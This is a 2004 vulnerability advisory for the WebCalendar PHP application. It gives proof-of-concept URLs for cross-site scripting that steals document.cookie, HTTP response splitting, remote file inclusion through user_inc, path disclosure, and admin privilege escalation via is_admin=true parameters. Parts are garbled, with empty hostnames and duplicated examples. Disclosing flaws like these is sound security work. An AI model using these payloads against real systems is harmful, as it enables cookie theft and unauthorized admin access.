--------------------------------------------------------------------------- Multiple Vulnerabilities in WebCalendar --------------------------------------------------------------------------- Author: Jose Antonio Coret (Joxean Koret) Date: 2004 Location: Basque Country --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ WebCalendar - Web Calendar Application WebCalendar is a PHP application used to maintain a calendar for a single user or an intranet group of users. It can also be configured as an event calendar. Web : http://webcalendar.sourceforge.net --------------------------------------------------------------------------- Vulnerabilities: ~~~~~~~~~~~~~~~~ A. Cross Site Scripting Vulnerabilities in various scripts. A1. WebCalendar check the <script>any</script> format of XSS attacks but doesn't check /demo/view_entry.php?id=41972">&date=20041001 http:///demo/view_d.php?id=657">&date=20041009 http:///demo/usersel.php?form=editentryform.elements[20]; %0d%0aalert(document.cookie);//&listid=20&users=demo,demo1,demo2 http:///demo/datesel.php?form=editentryform.elements[20].rpt_day.selectedIndex%20=%20day%20-%201;alert(document.cookie);//">&fday=rpt_day&fmonth=rpt_month&fyear=rpt_year&date=20041001 http:///demo/datesel.php?form=editentryform&fday=rpt_day"%20onclick=javascript:alert(document.cookie)>&fmonth=rpt_month&fyear=rpt_year&date=20041001 http:///demo/includes/trailer.php?user="> http:///demo/includes/styles.php?FONTS=asdf}%0A--><script>alert(document.cookie)</script> NOTE: Almost any GLOBAL parameter in this script is vulnerable B. HTTP Response Splitting Error B1. Due to a poor input validation in the script login.php HTTP Response Splitting attacks are possible. You can try the vulnerability with the following POC : http:///demo/login.php?return_path=%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a%0d%0dContent-Type:text/html%0d%0aContent-Length:9%0d%0aHi to all C. Possible code execution C1. If an attacker is abble to upload a file via ftp or other system to the web directory there is a flaw that allows to execute any file in the web tree. To try the vulnerability you can try this url : http:///demo/includes/init.php?user_inc=the_file_that_you_upload_via_ftp_or_other Note: Almost this is a full path disclosure. D. Full Path Disclosure D1. Because of a poor validation of the parameter enconded_login in the PHP script validate.php, there is a vulnerability that shows the full path of the script in the web server. http:///demo/includes/validate.php?encoded_login= (Full Path Disclosure) E. Admin Privileges E1. To make various actions you need to be the administrator of the webcalendar application but various scripts are vulnerable to Variable Poisoning attacks. Privilege escalation is possible using the following methods : Example 1 : You doesn't have permission: http:///demo/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true But using it yes: http:///demo/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true Example 2 : http:///demo/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true&id= Example 3 : No permission -> http://webcalendar.sourceforge.net/demo/upcoming.php Permission Granted :) -> http://webcalendar.sourceforge.net/demo/upcoming.php?public_must_be_enabled=true&public_access=Y Notes ~~~~~ The poor method that uses to protect against XSS attacks in the script functions.php is the following : // This code is a temporary hack to make the application work when // register_globals is set to Off in php.ini (the default setting in // PHP 4.2.0 and after). if ( ! empty ( $HTTP_GET_VARS ) ) { while (list($key, $val) = @each($HTTP_GET_VARS)) { // don't allow anything to have <script> in it... if ( ! is_array ( $val ) ) { if ( preg_match ( "/<\s*script/i", $val ) ) { echo "Security violation!"; exit; } } Is very easy to by pass these basic security checks by using Unicode encoded strings, or using any other valid XSS attack, such as >>>>>>>yah00<<<<<>>>>es